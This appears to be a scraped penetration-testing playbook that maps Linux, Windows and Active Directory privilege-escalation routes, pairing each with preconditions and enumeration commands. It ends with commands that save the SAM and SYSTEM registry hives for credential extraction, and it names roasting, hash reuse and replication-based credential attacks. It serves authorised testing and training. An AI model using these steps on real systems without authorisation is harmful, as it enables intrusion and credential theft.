Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Copysudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Copyfind / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY

These are conditional possibilities. Check the named condition before moving.

Hijack an unqualified helper through controlled PATH resolution — A privileged program/job invokes a helper without an absolute path
Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Use a file capability that enables a specific privileged operation — An interpreter/helper has an effective high-value capability
Requires: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use

Control a privileged program's shared-library resolution — A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path
Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use

Copygetcap -r / 2>/dev/null
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Use a SUID or SGID program's exposed privileged primitive — A nonstandard or dangerous privileged executable
Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Copycat /etc/crontab
systemctl list-timers --all
ps auxww

These are conditional possibilities. Check the named condition before moving.

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Hijack an unqualified helper through controlled PATH resolution — A privileged program/job invokes a helper without an absolute path
Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Turn wildcard-expanded filenames into privileged command options — A privileged job passes an uncontrolled directory glob to an option-parsing utility
Requires: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger

A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Copyprintf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY

These are conditional possibilities. Check the named condition before moving.

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Use a SUID or SGID program's exposed privileged primitive — A nonstandard or dangerous privileged executable
Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger

Copynamei -l /PATH/TO/JOB_DIRECTORY
ls -la /PATH/TO/JOB_DIRECTORY

These are conditional possibilities. Check the named condition before moving.

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original

Copystat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

Copyid
ls -l /var/run/docker.sock
findmnt
cat /proc/1/cgroup

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover credentials from Linux user, service and process trails — Readable configuration, shell history, environment, process arguments or session sockets
Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Exploit a permission-backed mount, NFS mapping or local service — A writable/exported filesystem or a loopback-only service with useful privileges
Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Copyfindmnt
cat /etc/exports 2>/dev/null
ss -lntup
ss -lxnp

These are conditional possibilities. Check the named condition before moving.

Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Copyreadelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
file /PATH/TO/BINARY

These are conditional possibilities. Check the named condition before moving.

Load a controlled library through a permitted sudo environment — A sudo rule explicitly preserves or permits a loader variable
Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions

Copyuname -a
cat /etc/os-release
getconf LONG_BIT

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

Copyid
uname -m
command -v bash python3
ls -ld /tmp

These are conditional possibilities. Check the named condition before moving.

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Control a script, binary or configuration consumed by a privileged job/service — Root-owned cron, systemd or recurring process activity uses a controllable object
Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

A functioning command channel and the actual effective token/process context

Copyhostname
whoami /all
systeminfo
ipconfig /all

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Exploit an unquoted service path with a writable earlier prefix — A service command line contains unquoted spaces
Requires: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

Validate elevated installer policy and administrative-token context — Installer policy values or an administrator account with a filtered token
Requires: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

Correct trustee/token, object type and effective rights including parents and deny entries

Copywhoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE

These are conditional possibilities. Check the named condition before moving.

Replace a privileged service binary or consumed file — A privileged service consumes a file whose bytes or parent replacement are controllable
Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Control a privileged DLL, helper or configuration load — A privileged application searches for a missing dependency or consumes writable configuration
Requires: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Artifact read permission and exact protecting identity/context for saved or DPAPI material

Copycmdkey /list
whoami /all

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use Credential Manager and DPAPI with the protecting context — Saved credentials or protected application blobs/master keys
Requires: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor

Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Copysc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"

These are conditional possibilities. Check the named condition before moving.

Use Windows authenticated access or a PowerShell command channel — Windows execution or valid credentials with an available remote service
Requires: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Copysc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

CopyGet-CimInstance Win32_Service | Select-Object Name,StartName,PathName

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Replace a privileged service binary or consumed file — A privileged service consumes a file whose bytes or parent replacement are controllable
Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Copyicacls "C:\Path\To\Application"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"

These are conditional possibilities. Check the named condition before moving.

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Copyschtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

Copyreg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Copywhoami /priv
whoami /all

These are conditional possibilities. Check the named condition before moving.

Use backup privilege to obtain protected local credential material — A token has the relevant backup rights and protected registry/files are a useful credential source
Requires: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination

Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Select a matching application, driver or kernel exploit — An exact vulnerable local component is present after simpler paths are assessed
Requires: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination

Copywhoami /priv
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

These are conditional possibilities. Check the named condition before moving.

Extract local account hashes from matched SAM and SYSTEM — Protected local registry material is available under sufficient host privilege
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

CopyGet-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Copywhoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

These are conditional possibilities. Check the named condition before moving.

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Copywhoami /all
whoami /upn
nltest /dsgetdc:DOMAIN
w32tm /query /status

These are conditional possibilities. Check the named condition before moving.

Enumerate directory objects with native, LDAP and PowerView approaches — A directory bind or domain-joined identity can read relevant objects
Requires: Correct search base and authentication transport; object/attribute visibility and compatible local utilities

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Correct search base and authentication transport; object/attribute visibility and compatible local utilities

Copynet user /domain
net group /domain

These are conditional possibilities. Check the named condition before moving.

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Collect focused BloodHound data and validate an attack path — Directory relationships are too broad for manual comparison or a candidate chain needs ranking
Requires: Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection

Identify service accounts and SPNs worth investigating — User-owned SPNs or service-account clues
Requires: Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions

Request AS-REP material for an account without preauthentication — A known user or directory flag indicates Kerberos preauthentication is disabled
Requires: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ

Conditional: trace GPO control to privileged policy consumption — A useful linked GPO has a potentially controllable directory or SYSVOL component
Requires: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger

Conditional: use a validated delegation or RBCD relationship — Delegation configuration or computer-object write suggests a Kerberos impersonation path
Requires: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow

Conditional: validate an AD CS enrollment-to-authentication path — A CA/template configuration exposes a plausible certificate identity transition
Requires: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path

Reachable SMB plus share/object read rights in the chosen identity context

Copydir \\DOMAIN\SYSVOL
dir \\DOMAIN\NETLOGON

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions

Copysetspn -Q */*

These are conditional possibilities. Check the named condition before moving.

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

CopyGet-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs

These are conditional possibilities. Check the named condition before moving.

Reset a target account password through a validated directory right — A controlled trustee has the effective password-reset right on a useful account
Requires: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective

Add a controlled identity to a group through effective membership rights — A group member-attribute write or equivalent effective right
Requires: Exact target group, controlled principal, useful resulting right and a fresh token/logon context

Convert ownership or DACL control into a narrower useful right — Effective WriteOwner or WriteDacl on a useful directory object
Requires: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner

Use validated directory replication rights for bounded credential proof — A principal has the relevant effective replication rights at the domain naming context
Requires: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Copywhoami /groups
net localgroup Administrators

These are conditional possibilities. Check the named condition before moving.

Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection

CopySharpHound.exe --help

These are conditional possibilities. Check the named condition before moving.

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Copywhoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

These are conditional possibilities. Check the named condition before moving.

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Classify tickets and use a compatible cache — A ccache/kirbi file or an existing ticket cache
Requires: Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

Extract local account hashes from matched SAM and SYSTEM — Protected local registry material is available under sufficient host privilege
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access

Parse an offline domain database or select a justified remote collection path — An already controlled DC or a validated privileged domain collection context
Requires: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method

Matched SAM/SYSTEM from the same system and appropriate read/backup access

Copywhoami /priv
reg save HKLM\SAM C:\Windows\Temp\SAM.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save